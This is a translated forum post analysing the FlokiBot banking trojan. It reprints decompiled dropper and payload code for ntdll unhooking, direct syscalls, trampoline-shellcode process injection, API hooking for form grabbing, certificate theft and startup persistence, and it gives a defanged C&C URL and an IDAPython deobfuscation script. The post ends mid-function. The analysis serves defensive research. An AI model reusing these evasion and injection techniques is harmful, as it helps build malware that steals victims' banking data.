首页
社区
课程
招聘
[翻译]FlokiBot银行木马详细分析
发表于: 2017-3-25 21:18 6540

[翻译]FlokiBot银行木马详细分析

2017-3-25 21:18
6540


目录

介绍 

FlokiBot Dropper 

API调用去混淆 

FlokiBot Payload 

配置 

IDAPython完全静态去混淆 

挂钩API 

最后的笔记和哈希值 


介绍

FlokiBot 是最近一款针对于欧洲和巴西联邦共和国的银行木马,作为一款恶意软件工具集,它在一些黑客论坛上被卖到$1000。它通过垃圾邮件和渗透代码工具包来传播。虽说它是继承于ZeuS(宙斯),FlokiBot也做了很多有趣的改进。有诸如内存截取(RAM scraping),定制的dropper这样的新特性,还有似乎从泄露了源码的Carberp 那里借鉴了几行代码。

FlokiBot与其dropper都有很多常用或不常用的混淆技术,我们将解开它们的神秘面纱,并着重讨论如何使用IDAIDAPython脚本来静态脱壳。因为你们已经在最近很多恶意软件上接触过这些技术了,所以我觉得这是一次很好的锻炼。

在看完@hasherezade写的这篇关于FlokiBotdropper文章:https://blog.malwarebytes.com/threat-analysis/2016/11/floki-bot-and-the-stealthy-dropper/. 之后,我决定看一下FlokiBot。尽管大多数关于FlokiBot的文章都着重讲它的dropper,我还是想讲得更详细一些,然后再讲讲它的payload;我们将会看到它有很多有有趣的特性,而且不是你平常所看到的ZeuS不一样,虽然它的很多代码是来自ZeuSCarberp leaks。还是比逆向勒索软件好。

Hash值:

$ rahash2 -a md5,sha1,sha256 -qq floki_dropper.vir 37768af89b093b96ab7671456de894bc 5ae4f380324ce93243504092592c7b275420a338 4bdd8bbdab3021d1d8cc23c388db83f1673bdab44288fccae932660eb11aec2a $ rahash2 -a md5,sha1,sha256 -qq floki_payload32.vir da4ea4e44ea3bb65e254b02b2cbc67e8 e8542a465810ff1396a316d1c46e96e042bf4189 9f1d2d251f693787dfc0ba8e64907e204f3cf2c7320f66007106caac0424a1f3


对这个dropper的自动分析报告:

VirusTotal AnalysisHybrid-Analysis

FlokiBot Dropper

导入:模块/API 哈希处理与系统调用(syscall

dropper通过比较经过哈希处理的库名与内置哈希值来加载模块。哈希进程用到了一个基础的CRC32,之后这个CRC32还要跟两个字节的密钥异或,那两个密钥随样本的不同而不同。

有两种方法来检索动态链接库(dll)库名:一是用 Process Environment Block  来检查InMemoryOrderModuleList 的结构并读取BaseDllName 的值来获取进程已经加载的dll。第二种方法是,通过在Windows系统文件夹中罗列库名。


下面的模块都被dropper导入了:

CRC Library Method ------------------------------------------------------ 84C06AAD ntdll.dll load_imports_peb 6AE6ABEF kernel32.dll load_imports_peb 2C2B3C88 948B9CAB C7F4511A wininet.dll load_imports_folder F734DCF8 ws2_32.dll load_imports_folder F16EE30D advapi32.dll load_imports_folder C8A18E35 shell32.dll load_imports_folder E20BF2CB shlwapi.dll load_imports_folder 1A50B19C secur32.dll load_imports_folder 630A1C77 crypt32.dll load_imports_folder 0248AE46 user32.dll load_imports_peb BD00960A 4FF44795 gdi32.dll load_imports_peb E069944C ole32.dll load_imports_folder CAAD3C25

之后,FlokiBot将采取同样的操作来定位和加载这些模块用到的API.首先,当CRC后的名字是匹配的,那么它将检索LdrGetProcedureAddress ntdll中的地址,并用它来获取其他API的句柄。这样做的话,函数的地址就仅对debugger可见。如此,分析代码将会非常困难,因我我们不知道调用了哪个API。去混淆的一种方法将在下一章提到。

FlokiBot与其dropper的另一有趣之处在于它们调用一些原生API函数的方式。这些函数位于ntdll中,并且以 Nt* 或者Zw*为前缀。它们在实现的时候与其他API有些许不同,因为它们要用到syscall特别是int 0x2e。下面的截图说明了它们是如何在ntdll中实现的。

正如我们所看到,系统调用的值放在eax(在我64Windows 7上,NtAllocateVirtualMemory 是在0x15 ),而且参数被传到edxx8664位的所有系统调用号(syscall number)都可以在这张网页找到:http://j00ru.vexillium.org/ntapi/.

在检查ntdll中的API时,FlokiBot会先检查函数的第一个操作码是否为 0xB8 MOV EAX, 若是,并且CRC后的API名也复合,它将提取MOV EAX 后面的四个字节,也就是系统调用号,并将它保存在dwSyscallArray 数组中。



在我的虚拟机上,当所有的系统调用号都被dropper提取后,dwSyscallArray 长这样。

Index API Syscall number ------------------------------------------------------- 0x0 NtCreateSection 0x47 0x1 NtMapViewOfSection 0x25 0x2 NtAllocateVirtualMemory 0x15 0x3 NtWriteVirtualMemory 0x37 0x4 NtProtectVirtualMemory 0x4D 0x5 NtResumeThread 0x4F 0x6 NtOpenProcess 0x23 0x7 NtDuplicateObject 0x39 0x8 NtUnmapViewOfSection 0x27

FlokiBot需要调用某个原生函数的时候,它将调用自身的一个函数,那个函数直接从dwSyscallArray 中检索系统调用号,传参,触发中断0x2E。这些都跟它在ntdll中的实现方式一样。这就是为什么你不会看到任何这些API调用的轨迹,而且专门用来钩住这些API的监测工具也监测不到有调用它们。

API调用去混淆

既然FlokiBotpayload用到了相同的函数和数据结构,你可以用“IDAPython完全静态去混淆”模块,稍稍修改IDAPython脚本就可以将dropperAPI调用去混淆。

解除挂钩模块

FlokiBot的一个有趣之处就在于它的dropperpayload都有解除挂钩操作。思路是卸载检测工具,沙箱和杀毒软件中的钩子。尽管这并不是恶意软件第一次使用这样的功能,比如说,Carberp就有一个能 不让TrusteerRapport发现  的功能,还有最近的Carbanak ,但这样的功能能真的非常罕见,应该值得注意。在这一部分,我将描述FlokiBot是如何解除挂钩的。

首先,FlokiBot通过罗列System32文件夹中的dll来获得ntdll.dll的句柄,然后用我们上面所提到的哈希处理过程,最后调用 MapViewOfFile 来映射它在内存中的位置。结果就是,FlokiBot有两个库在内存中映射的版本:一个是在导入期间导入的,这个可能会被监测工具的钩子改变,另一个是它直接从磁盘中映射的,这个是干净的。


NTDLL
在磁盘中的映射——干净版本


dropper导入的NTDLL——可能被钩住


现在,设置了正确的权限,FlokiBot把映射干净DLL代码块的地址、导入的dll的地址入栈,然后调用解除挂钩操作。


因为它要重写它的内存里的一些数据以删除钩子,恶意软件需要改变导入的NTDLL代码导出段的内存保护机制。而它是通过用int 0x2E和之前提取的系统调用号(在我的windows版本是0x4D)调用NtProtectVirtualMemory 来做到的。我们可以看到如果某个钩子被发现,某一部分的代码就会变得可写。

解除挂钩函数可以描述为三步:对于NTDLL导出的每一个函数……

  • 比较两个映射库的第一个操作码

  • 如果它们不一致,说明导入的ntdll里的函数已经被钩住了。

  • 改变导入的dll的内存保护机制,让它变成可写。

  • 用从被映射到磁盘的dll复制来的操作码修补这个操作码。

解除挂钩操作的主要程序如下:



这样以来,很多监测工具、杀毒软件和沙箱都无法追踪恶意软件的调用。这个非常有用,如果你想要避免来自像 malwr.com. 这些网上沙箱的自动分析。

从资源中提取Bot

它的dropper3个明确命名的资源: keybot32  bot64 BotRtlCompressBuffer()  LZNT1 压缩,然后用有16字节密钥的RC4加密它。在我的样本里,密钥是:

A3 40 75 AD 2E C4 30 23 82 95 4C 89 A4 A7 84 00

你可以从Talos 团队的Github https://github.com/vrtadmin/flokibot. 中找到可以备份这个payload和配置文件的Python脚本。要注意的是,它们并不能自己正确运行,因为它们要注入一个进程,还需要一些被dropper在内存中改写的数据。我们会在下一部分详谈注入进程。

提取资源的常用方法:

BOOL __userpurge extract_bot_from_rsrc@<eax>(int a1@<edi>, HMODULE hModule)
{
  HRSRC v2; // eax@1
  int v3; // eax@2
  const void *v4; // esi@5
  HRSRC v5; // eax@7
  int v6; // eax@8
  HRSRC v7; // eax@10
  unsigned int v8; // eax@11
  int v10; // [sp+4h] [bp-4h]@1
  v10 = 0;
  v2 = FindResourceW(hModule, L"key", (LPCWSTR)0xA);
  if ( v2 )
    v3 = extract_rsrc(hModule, (int)&v10, v2);
  else
    v3 = 0;
  if ( v3 )
  {
    v4 = (const void *)v10;
    if ( v10 )
    {
      qmemcpy((void *)(a1 + 84), (const void *)v10, 0x10u);
      free_heap(v4);
    }
  }
  v5 = FindResourceW(hModule, L"bot32", (LPCWSTR)0xA);
  if ( v5 )
    v6 = extract_rsrc(hModule, a1 + 4, v5);
  else
    v6 = 0;
  *(_DWORD *)(a1 + 12) = v6;
  v7 = FindResourceW(hModule, L"bot64", (LPCWSTR)0xA);
  if ( v7 )
    v8 = extract_rsrc(hModule, a1 + 8, v7);
  else
    v8 = 0;
  *(_DWORD *)(a1 + 16) = v8;
  return *(_DWORD *)(a1 + 4) && *(_DWORD *)(a1 + 12) > 0u && *(_DWORD *)(a1 + 8) && v8 > 0;
}

注入过程

dropper并不是用常用的用NtMapViewOfSection NtWriteVirtualMemory来将payload注入到explorer.exe (或者svchost.exe如果失败的话) 。它是用写并运行一个可以在进程内存中解密解压payloadshellcode来完成的。这很不常见,很有趣。dropping的过程可以用下面的图片来总结:

  1. dropperexplorer.exe / svchost.exe 里写一个trampoline shellcode 和它自己的一个函数。

  2. 当运行时,trampoline就会调用那个函数。

  3. 函数自动运行,并且动态解决导入、读取dropper的资源,并将它们提取到自己的进程内存中。(比如,在explorer.exe / svchost.exe 的地址空间里)

  4. 最后,dropper在目标进程中运行bot payload的入口点(entrypoint)。

第一个写在explorer.exe shellcode(称为trampoline )会休眠100ms,然后调用一个函数,那个函数dropper在进程内存中映射在0x80000000 ,在该dropper中默认称为 sub_405E18 。这第二个阶段是要提取bot payload,解密并解压它们。所有这些都发生在explorer.exe / svchost.exe  内存中。

$ rasm2 -a x86 -b 32 -D '558BEC51C745FCFF10B4766864000000FF55FCC745FC000008006800000900FF55FC83C4048BE55DC3'

0x00000000   1                       55  push ebp

0x00000001   2                     8bec  mov ebp, esp

0x00000003   1                       51  push ecx

0x00000004   7           c745fcff10b476  mov dword [ebp - 4], 0x76b410ff ; address of sleep()

0x0000000b   5               6864000000  push 0x64

0x00000010   3                   ff55fc  call dword [ebp - 4] ; sleep()

0x00000013   7           c745fc00000800  mov dword [ebp - 4], 0x80000

0x0000001a   5               6800000900  push 0x90000

0x0000001f   3                   ff55fc  call dword [ebp - 4] ; sub_405E18, 2nd stage 0x00000022   3                   83c404  add esp, 4

0x00000025   2                     8be5  mov esp, ebp

0x00000027   1                       5d  pop ebp

0x00000028   1                       c3  ret


sub_405E18 将通过与dropperpayload相同的进程来导入它需要的资源,用有些许不用的crc32和新的异或密钥。

int __stdcall sub_405E18(int a1)
{
  [...]
  if ( a1 && *(_DWORD *)(a1 + 4) && *(_DWORD *)a1 != -1 )
  {
    v1 = 0;
    v34 = 0i64;
    v35 = 0i64;
    v36 = 0i64;
    do  /* CRC Polynoms */
    {
      v2 = v1 >> 1;
      if ( v1 & 1 )
        v2 ^= 0xEDB88320;
      if ( v2 & 1 )
        v3 = (v2 >> 1) ^ 0xEDB88320;
      else
        v3 = v2 >> 1;
      [...]
      if ( v8 & 1 )
        v9 = (v8 >> 1) ^ 0xEDB88320;
      else
        v9 = v8 >> 1;
      v40[v1++] = v9;
    }
    while ( v1 < 0x100 );
    v10 = shellcode_imp_dll((int)v40, 0x6AE6AF84);
    v11 = shellcode_imp_dll((int)v40, 0x84C06EC6);
    v30 = v12;
    v13 = v11;
    LODWORD(v34) = shellcode_imp_api(v10, (int)v40, 0x9CE3DCC);
    DWORD1(v34) = shellcode_imp_api(v10, (int)v40, 0xDF2761CD);
    DWORD2(v34) = shellcode_imp_api(v10, (int)v40, 0xF7C79EC4);
    LODWORD(v35) = shellcode_imp_api(v10, (int)v40, 0xCD53C55B);
    DWORD1(v36) = shellcode_imp_api(v10, (int)v40, 0xC97C2F79);
    LODWORD(v36) = shellcode_imp_api(v10, (int)v40, 0x3FC18D0B);
    DWORD2(v36) = shellcode_imp_api(v13, (int)v40, 0xD09F7D6);
    DWORD1(v35) = shellcode_imp_api(v13, (int)v40, 0x9EEE7B06);
    DWORD2(v35) = shellcode_imp_api(v13, (int)v40, 0xA4160E3A);
    DWORD3(v35) = shellcode_imp_api(v13, (int)v40, 0x90480F70);
    DWORD3(v36) = shellcode_imp_api(v13, (int)v40, 0x52FE165E);
    v14 = ((int (__stdcall *)(_DWORD, _DWORD, signed int, signed int))v34)(0, *(_DWORD *)(a1 + 8), 0x3000, 64);
    
    [...]
}


前两个哈希值,0x6AE6AF84  0x84C06EC6 应该是 'kernel32.dll''ntdll.dll'。我用Python来实现哈希过程,证实导入的那两个DLL确实是kernel32 ntdll,然后我修改我的Python程序去解析它的导出表,想要知道函数导入的API的名字。我运行程序得到下面的API

Python>run
[+] kernel32.dll (6AE6AF84) : Parsing...
0x09CE3DCC --> VirtualAlloc
0xDF2761CD --> OpenProcess
0xF7C79EC4 --> ReadProcessMemory
0xCD53C55B --> VirtualFree
0xC97C2F79 --> GetProcAddress
0x3FC18D0B --> LoadLibraryA
[+] ntdll.dll (84C06EC6) : Parsing...
0x0D09F7D6 --> NtClose
0x9EEE7B06 --> NtCreateSection
0xA4160E3A --> NtMapViewOfSection
0x90480F70 --> NtUnmapViewOfSection
0x52FE165E --> RtlDecompressBuffer


用这些函数,进程中的代码将可以读取dropper的资源(botRC4密钥)并且映射payload在内存中的位置。最后,远处终止的线程内容将会被修改,这样它的EIP将指向第一个shellcode,该线程继续。


流程图


FlokiBot Payload

这个payload 是基于熟知并已经分析过的ZeuS木马,所以我不会每件事都详细描述。至于dropper,我会更着重讲去混淆部分以及FlokiBot改进部分的实现。

配置

我运行 Talos 团队发布的  ConfigDump.py 程序,然后得到下面的C&C :

$ python ConfigDump.py payload_32.vir 
Successfully dumped config.bin.
URL: https://extensivee[.]bid/000L7bo11Nq36ou9cfjfb0rDZ17E7ULo_4agents/gate[.]php

IDAPython完全静态去混淆

鉴别函数

首先,我们注意到dropper重用了一些payload的重要函数。创造该dropper的一个 Rizzo 签名 并在payload中加载它能够IDA让识别并重命名少部分函数。

API调用和钩子的静态去混淆

思路是用Python重新实现哈希过程,哈希所有被FlokiBot加载的所有API,然后将他们和我们用代码收集到的哈希值进行比较。如果匹配,我们就用IDAPython重命名该函数,使得反汇编更具可读性。因为payload用的是同样的CRC函数和同样的异或密钥,所以这个脚本对它们都管用。

字符串去混淆

ZeuSFobberTinaba的进化版)一样,很多字符串都用它们自己的一字节的密钥异或加密了。恶意软件将所有的ENCRYPTED_STRING 存储在一个数组中,并将在传输过程中通过下标去混淆。加密过的字符串将以下面的数据结构展现:

typedef struct {
  char xor_key;
  WORD size;
  void* strEncrypted;
} ENCRYPTED_STRING;

首先,为弄明白如何没有错误的检索出它们,我会运行一段代码罗列decrypt_string 的参数是如何入栈的。

运行完我们的脚本后,这里有一个在IDA中反汇编后的样本:


完整的IDAPython脚本

这是我用来去混淆该payload的完整的Python脚本:https://gist.github.com/adelmas/8c864315648a21ddabbd6bc7e0b64119.

它基于IDAPythonPeFile。它专为静态分析设计,你不用开启任何debugger来让这段程序工作。它将完成以下的工作:

  • 明确bot引入的所有函数并以[API name]_wrap 的格式重命名它们。

  • 解析WINAPIHOOK 结构并以hook_[API name] 的格式重命名钩子函数。

  • 解密字符串并将解密后的值放在解密字符串函数调用处的注释中。

# coding: utf-8
# ====================================================== #
#                                                        #
#      FLOKIBOT BOT32 DEOBFUSCATION IDA SCRIPT           #
#                                                        #
#       http://adelmas.com/blog/flokibot.php             #
#                                                        #
# ====================================================== #
# IDAPython script to deobfuscate statically the bot32 payload of the banking malware FlokiBot. 
# Imports are fully resolved, hooks are identified and named and strings are decrypted and added in comments, without using any debugger. 
# May take a few minutes to resolve imports. 
# Works with FlokiBot dropper with some small changes.
import sys
# sys.path.append("/usr/local/lib/python2.7/dist-packages")
# idaapi.enable_extlang_python(True)
import pefile
# RunPlugin("python", 3)
CRC_POLY 	= 0xEDB88320	# Depending on sample
XOR_KEY 	= 0x34ED 	# Depending on sample
ARRAY_ADDR	= 0x41B350 	# Depending on sample
ARRAY_ITER 	= 12 		# Size of a triplet (3*sizeof(DWORD))
i = 0
# ----------------------------------------------------
# Generating CRC polynoms
# ----------------------------------------------------
poly = []
while i < 256:
	size = 8
	b = i
	while size != 0:
		if b & 1:
			b = (b >> 1) ^ CRC_POLY
		else:
			b >>= 1
		size -= 1
	poly.insert(i, b)
	i += 1
# ----------------------------------------------------
# FlokiBot CRC32
# ----------------------------------------------------
def crc32(name):
	name_len = len(name)
	i = 0
	crc = 0xFFFFFFFF
	while i < name_len:
		crc = poly[(crc ^ ord(name[i])) & 0xFF] ^ (crc >> 8)
		i += 1
	crc = (~crc) & 0xFFFFFFFF
	return crc
# ----------------------------------------------------
# DEOBFUSCATING API CALLS
# ----------------------------------------------------
array_dll = ['ntdll', 'kernel32', 'wininet', 'ws2_32', 'advapi32', 'secur32', 'crypt32', 
			'shlwapi', 'ole32', 'gdi32', 'shell32', 'user32', 'urlmon' #, 'nss3', 'nspr4', 'chrome'
			]
dll_hash = {}
for dll in array_dll:
	h = crc32(dll + '.dll') ^ XOR_KEY
 	dll_hash[h] = dll
	print "[+] %s.dll (%X) : Parsing..." % (dll, h)
	pe = pefile.PE("C:\\Windows\\System32\\" + dll + ".dll")
	api_hash = {}
	pe.parse_data_directories()
	for exp in pe.DIRECTORY_ENTRY_EXPORT.symbols:
		if exp.name:
			api_crc = crc32(exp.name) ^ XOR_KEY
			api_hash[api_crc] = exp.name
	nb = 0
	for i in range(0, 287):
		ea_name = (ARRAY_ADDR + i*ARRAY_ITER)
		ea_func = Dword(ea_name)
		ea_crc = ea_name + 4
		MakeDword(ea_crc)
		crc = Dword(ea_crc)
		if crc in api_hash:
			if MakeName(ea_func, api_hash[crc]+"_wrap"
				nb += 1
	print "[+] %s : Resolved %d API names" % (dll, nb)
# ----------------------------------------------------
# PARSING HOOK STRUCT
# ----------------------------------------------------
sid = AddStruc(-1, 'HOOKWINAPI')
AddStrucMember(sid, 'functionForHook', 0, FF_DWRD|FF_DATA, -1, 4)
AddStrucMember(sid, 'hookerFunction', 4, FF_DWRD|FF_DATA, -1, 4)
AddStrucMember(sid, 'originalFunction', 8, FF_DWRD|FF_DATA, -1, 4)
AddStrucMember(sid, 'originalFunctionSize', 12, FF_DWRD|FF_DATA, -1, 4)
AddStrucMember(sid, 'dllHash', 16, FF_DWRD|FF_DATA, -1, 4)
AddStrucMember(sid, 'apiHash', 20, FF_DWRD|FF_DATA, -1, 4)
HOOKWINAPI_EA = 0x41B000
HOOKWINAPI_SIZE = 0x18
ea = HOOKWINAPI_EA
MakeName(HOOKWINAPI_EA, "hookWinApi_array")
print "Parsing hook table @ 0x%X" % HOOKWINAPI_EA
for i in range(0, 25):
	for field in range(0, 6):
		MakeDword(ea+4*field)
	fn_name = Name(Dword(ea))
	hook_ea = Dword(ea+4)
	MakeName(hook_ea, "hook_" + fn_name)
	hook_name = Name(Dword(ea+4))
	ori_ea = ea+8
	MakeName(ori_ea, "ori_" + fn_name)
	print "[+] Hook on %s \t--> %s" % (fn_name, hook_name)
	ea += HOOKWINAPI_SIZE
# ----------------------------------------------------
# STRING DEOBFUSCATION
# ----------------------------------------------------
DECRYPT_FN_EA = 0x403948			# Depending on sample
ENCRYPTED_STRINGS_EA = 0x402278 		# Depending on sample
DECRYPT_FN = "decrypt_string"
ENCRYPTED_STRINGS = "encrypted_strings"
ARRAY_SIZE = 0x77 				# Depending on sample
decrypted_strings = {}
def backwardSearch(ea, instr):
	while True:
		ea = PrevHead(ea)
		if GetMnem(ea) == instr:
			return ea
def decrypt_string(index, ea_encrypted):
	string = ""
	if index == -1:
		string = "Invalid index"
		return string
	encr_array = LocByName(ea_encrypted)
	if encr_array == 0xFFFFFFFF:
		string = "Invalid array for encrypted strings"
		return string
	ea_item = encr_array + index*2*4
	xor_k = Byte(ea_item)
	size = Word(ea_item+2)
	ptr_string = Dword(ea_item + 4)
	MakeByte(ptr_string)
	MakeArray(ptr_string, size)
	#print "[%d] %X %X %X" % (index, xor_k, size, ptr_string)
	i = 0
	if size <= 0:
		string = "Size <= 0"
		return string
	while i < size:
		ichr = i
		string += str(unichr((i ^ xor_k ^ Byte(ptr_string + i)) & 0xFF))
		i += 1
	MakeComm(ptr_string, string) # Add comments with decrypted strings in the array
	return string
# ----------------------------------------------------
# Decrypting and commenting whole array
# ----------------------------------------------------
MakeName(DECRYPT_FN_EA, DECRYPT_FN) 
MakeName(ENCRYPTED_STRINGS_EA, ENCRYPTED_STRINGS)
i = 0
loc = LocByName(DECRYPT_FN)
for ea in range(loc, loc+ARRAY_SIZE):
	decrypted_strings[i] = decrypt_string(i, ENCRYPTED_STRINGS)
	i += 1
print "[+] Decrypted %d strings :" % (i)
print decrypted_strings
# ----------------------------------------------------
# Commenting calls to decryption function with decrypted strings
# ----------------------------------------------------
i = 0
for xref in XrefsTo(LocByName(DECRYPT_FN)):
	ea = xref.frm
	mnem = GetMnem(PrevHead(ea))
	index = 0
	if mnem == "xor":
		index = 0
	elif mnem == "pop":
		ea = backwardSearch(ea, "push")
		index = GetOperandValue(ea, 0)
	elif mnem == "inc":
		index = 1
	elif mnem == "mov":
		index = GetOperandValue(ea, 1)
	#print "Index : 0x%X" % (index)
	if index in decrypted_strings:
		MakeComm(xref.frm, decrypted_strings[index])
		i += 1
print "[+] Commented %d strings with decrypted values" % (i)
print "[+] Script is done."

flokibot32_deobf.py

持久性

bot用一个伪随机名字把自己复制到 C:\Documents and Settings\[username]\Application Data 并通过在Windows的启动文件夹创建一个.lnk来获得持久性。

int startup_lnk() {
  int v0; // edi@1
  _WORD *v1; // ecx@1
  int v2; // eax@2
  _WORD *v3; // ecx@2
  const void *v4; // eax@2
  const void *v5; // esi@3
  int strStartupFolder; // [sp+8h] [bp-20Ch]@1
  int v8; // [sp+210h] [bp-4h]@6
  v0 = 0;
  SHGetFolderPathW_wrap(0, 7, 0, 0, &strStartupFolder); // 7 = CSIDL_STARTUP
  v1 = (_WORD *)PathFindFileNameW_wrap(&pFilename);
  if ( v1 && (v2 = cstm_strlen(v1), sub_40FECB(v2 - 4, v3), v4) )
    v5 = v4;
  else
    v5 = 0;
  if ( v5 ) {
    v8 = 0;
    if ( build_lnk((int)&v8, (const char *)L"%s\\%s.lnk", &strStartupFolder, v5) > 0 )
      v0 = v8;
    cstm_FreeHeap(v5);
  }
  return v0;
}

挂钩API

概述

基于ZeuSFlokiBot用了同一种但又有些许不同的结构数组来存储它的钩子:

typedef struct
{
  void *functionForHook;
  void *hookerFunction;
  void *originalFunction;
  DWORD originalFunctionSize;
  DWORD dllHash;
  DWORD apiHash;
} HOOKWINAPI;

在我们运行完前面用来去混淆API调用的脚本,以及定位好钩子结构数组之后,我们就可以很轻易的用其他的IDA脚本来解析它,以确定和命名钩子函数(hook_* )。我们最后得到下面的表格:

Parsing hook table @ 0x41B000... Original Function Hooked          Hooker Function                         DLL Hash              API Hash ------------------------------------------------------------------------------------------------------------- NtProtectVirtualMemory_wrap       hook_NtProtectVirtualMemory_wrap        84C06AAD (ntdll)                    5C2D2E7A NtResumeThread_wrap               hook_NtResumeThread_wrap                84C06AAD (ntdll)            6273819F LdrLoadDll_wrap                   hook_LdrLoadDll_wrap                    84C06AAD (ntdll)        18364D1F NtQueryVirtualMemory_wrap         hook_NtQueryVirtualMemory_wrap          84C06AAD (ntdll)                  03F6C761 NtFreeVirtualMemory_wrap          hook_NtFreeVirtualMemory_wrap           84C06AAD (ntdll)                 E9D6FAB3 NtAllocateVirtualMemory_wrap      hook_NtAllocateVirtualMemory_wrap       84C06AAD (ntdll)                     E0761B06 HttpSendRequestW_wrap             hook_HttpSendRequestW_wrap              C7F4511A (wininet)             0BD4304A HttpSendRequestA_wrap             hook_HttpSendRequestA_wrap              C7F4511A (wininet)             FF00851B HttpSendRequestExW_wrap           hook_HttpSendRequestExW_wrap            C7F4511A (wininet)               AAB98346 HttpSendRequestExA_wrap           hook_HttpSendRequestExA_wrap            C7F4511A (wininet)               5E6D3617 InternetCloseHandle_wrap          hook_InternetCloseHandle_wrap           C7F4511A (wininet)                E51929C9 InternetReadFile_wrap             hook_InternetReadFile_wrap              C7F4511A (wininet)             6CC0AC18 InternetReadFileExA_wrap          hook_InternetReadFileExA_wrap           C7F4511A (wininet)               FEDE53D9 InternetQueryDataAvailable_wrap   hook_InternetQueryDataAvailable_wrap    C7F4511A (wininet)                      1AF94509 HttpQueryInfoA_wrap               hook_HttpQueryInfoA_wrap                C7F4511A (wininet)          02B5094B closesocket_wrap                  hook_closesocket_wrap                   F734DCF8 (ws2_32)        A5C6E39A send_wrap                         hook_send_wrap               F734DCF8 (ws2_32)                   A7730E20 WSASend_wrap                      hook_WSASend_wrap                 F734DCF8 (ws2_32)             B2927DE5 TranslateMessage_wrap             hook_TranslateMessage_wrap              0248AE46 (user32)             5DD9FAF9 GetClipboardData_wrap             hook_GetClipboardData_wrap              0248AE46 (user32)             1DCBE5AA PFXImportCertStore_wrap           hook_PFXImportCertStore_wrap            1A50B19C (secur32)              E0991FE4 PR_OpenTCPSocket_wrap             hook_PR_OpenTCPSocket_wrap              948B9CAB (nss3)              3B8AA62A PR_Close_wrap                     hook_PR_Close_wrap                      948B9CAB (nss3)      6D740323 PR_Read_wrap                      hook_PR_Read_wrap                       948B9CAB (nss3)      5C9DC287 PR_Write_wrap                     hook_PR_Write_wrap                      948B9CAB (nss3)      031EF8B8



它们中的大多数都有安装在ZeuS和其他银行恶意软件中。尽管如此,我们还是能够注意到NtFreeVirtualMemory  NtProtectVirtualMemory 的一些有趣的、新的钩子。我们将在下一部分看到它们的用途。

浏览器中间人(Man-in-the-Browser

Floki通过把自己注入到FirefoxChrome进程中并拦截 LdrLoadDll 来实现浏览器中间人攻击。如果浏览器加载的DLL的哈希值和 nss3.dllnspr4.dll chrome.dll 任一个的哈希值匹配,API钩子就会自动安装,让恶意软件可以实现表单抓取和网站注入。

int __stdcall hook_LdrLoadDll_wrap(int PathToFile, int Flags, int ModuleFileName, int *ModuleHandle)
{
  int result; // eax@2
  int filename_len; // eax@8
  int dll_hash; // eax@8
[...]
  if ( cstm_WaitForSingleObject() ) {
    v5 = LdrGetDllHandle_wrap(PathToFile, 0, ModuleFileName, ModuleHandle);
    v6 = LdrLoadDll_wrap(PathToFile, Flags, ModuleFileName, ModuleHandle);
    v12 = v6;
    if ( v5 < 0 && v6 >= 0 && ModuleHandle && *ModuleHandle && ModuleFileName )
    {
      RtlEnterCriticalSection_wrap(&unk_41D9F4);
      filename_len = cstm_strlen(*(_WORD **)(ModuleFileName + 4));
      dll_hash = hash_filename(filename_len, v8);
      if ( !(dword_41DA0C & 1) ) {
        if ( dll_hash == 0x2C2B3C88 || dll_hash == 0x948B9CAB ) { // hash nss3.dll & nspr4.dll
          sub_416DBD(*ModuleHandle, dll_hash);
          if ( dword_41DC2C )
            v11 = setNspr4Hooks(v10, dword_41DC2C);
        }
        else if ( dll_hash == 0xCAAD3C25 ) {     // hash chrome.dll
          if ( byte_41B2CC ) {
            if ( setChromeHooks() )
              dword_41DA0C |= 2u;
          }
[...]
  }
  else
  {
    result = LdrLoadDll_wrap(PathToFile, Flags, ModuleFileName, ModuleHandle);
  }
  return result;
}


浏览器中间人在IE浏览器中一般用Wininet API Hooking 来实现(参看上面的函数)。Chrome的网站注入还没有实现。

进程注入

恶意软件在其他子进程中通过挂钩NtResumeThread API来注入自己的shellcodepayload

int __userpurge hook_NtResumeThread_wrap@<eax>(int a1@<ebx>, int a2, int a3)
{
  int result; // eax@2
  [...]
  if ( cstm_WaitForSingleObject() ) {
    cstm_memset(&v18, 0, 0x1Cu);
    v20 = v4;
    if ( NtQueryInformationThread_wrap(a2, 0, &v18, v4, &v20, a1) >= 0 ) {
      v5 = v19;
      if ( v19 ) {
        v23 = mutex(v19);
        if ( v23 ) {
          v6 = OpenProcess_wrap(1144, 0, v5);
          if ( v6 ) {
            v22 = 0;
            v7 = dupl_handle(v6, v23, 0, &v22);
            v21 = v7;
            if ( v7 ) {
              if ( (v8 = (char *)sub_409741 + v7 - dword_41DFE8,
                    v24 = (int (__thiscall *)(void *, int))((char *)sub_409741 + v7 - dword_41DFE8),
                    v15 = 65539,
                    !GetThreadContext_wrap(a2, &v15))
                || v17 != RtlUserThreadStart_wrap && RtlUserThreadStart_wrap
                || (v16 = v8,
                    v15 = 0x10002,
                    v25 = 0x51EC8B55,           // Shellcode
                    v26 = 0xFC45C7,
                    v27 = 0x68000000,
                    v28 = 0,
                    v29 = 0xC7FC55FF,
                    v30 = 0xFC45,
                    v31 = 0x680000,
                    v32 = 0xFF000000,
                    v33 = 0xC483FC55,
                    v34 = 4,
                    v35 = 0xC35DE58B,
                    cstm_memcpy((char *)&v26 + 3, &Sleep_wrap, 4u),
                    cstm_memcpy((char *)&v30 + 2, &v24, v9),
                    cstm_memcpy((char *)&v31 + 3, &v22, v10),
                    v24 = (int (__thiscall *)(void *, int))100,
                    cstm_memcpy(&v28, &v24, v11),
                    (v14 = VirtualAllocEx_wrap(v13, v12, v6, 0, 41, 0x3000, 64)) == 0)
                || (WriteProcessMemory_wrap(v6, v14, &v25, 41, 0), v16 = (char *)v14, !SetThreadContext_wrap(a2, &v15)) )
              {
                VirtualFreeEx_wrap(v6, v21, 0, 0x8000);
              }
            }
            NtClose_wrap(v6);
          }
          NtClose_wrap(v23);
        }
      }
    }
    result = NtResumeThread_wrap(a2);
  }
  else
  {
    result = NtResumeThread_wrap(a2);
  }
  return result;
}


证书窃取

通过挂钩PFXImportCertStore FlokiBot可以窃取数字证书。此法ZeusCarberp也有用到。

保护钩子

FlokiBot通过放置一个钩子和过滤NtProtectVirtualMemory 调用来保护它的钩子,以防止它们被累死杀毒软件复位到原函数中。无论何时,当一个程序想要改变Floki已经注入的进程的内存保护机制的时候,Floki会阻断该调用并返回STATUS_ACCESS_DENIED.

unsigned int __stdcall hook_NtProtectVirtualMemory_wrap(void *ProcessHandle, int *BaseAddress, int NumberOfBytesToProtect, int NewAccessProtection, int OldAccessProtection)
{
  int retBaseAddress; // [sp+18h] [bp+Ch]@7
[...]
  v11 = 0;
  v5 = BaseAddress;
